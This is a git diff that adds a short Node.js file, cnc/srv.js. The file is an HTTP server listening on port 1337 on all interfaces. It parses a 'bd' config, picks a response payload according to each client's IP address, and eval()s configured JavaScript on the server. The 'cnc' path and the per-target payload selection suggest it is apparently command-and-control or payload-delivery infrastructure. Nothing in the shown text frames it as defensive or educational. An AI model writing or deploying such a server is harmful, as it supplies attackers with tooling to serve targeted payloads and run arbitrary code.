diff options
Diffstat (limited to 'cnc/srv.js')
| -rw-r--r-- | cnc/srv.js | 30 |
1 files changed, 30 insertions, 0 deletions
diff --git a/cnc/srv.js b/cnc/srv.js new file mode 100644 index 0000000..260900c --- /dev/null +++ b/cnc/srv.js @@ -0,0 +1,30 @@ +const http = require('http'); +const fs = require('fs'); + +const bd_parse = require('./lib/bd_parser.js'); + +let bd = bd_parse.parse_bd(process.argv[2]); + +const srv = http.createServer((req, res) => { + let wrapped; + let js_to_run; + + for (let d of bd) { + if (d.block.check(req.socket.remoteAddress)) { + wrapped = d.wrapped; + js_to_run = d.js_to_run; + break; + } + } + + if (js_to_run) { + eval(js_to_run); + } + + console.log(wrapped); + + res.statusCode = 200; + res.end(wrapped); +}); + +srv.listen(1337, "0.0.0.0");
\ No newline at end of file |
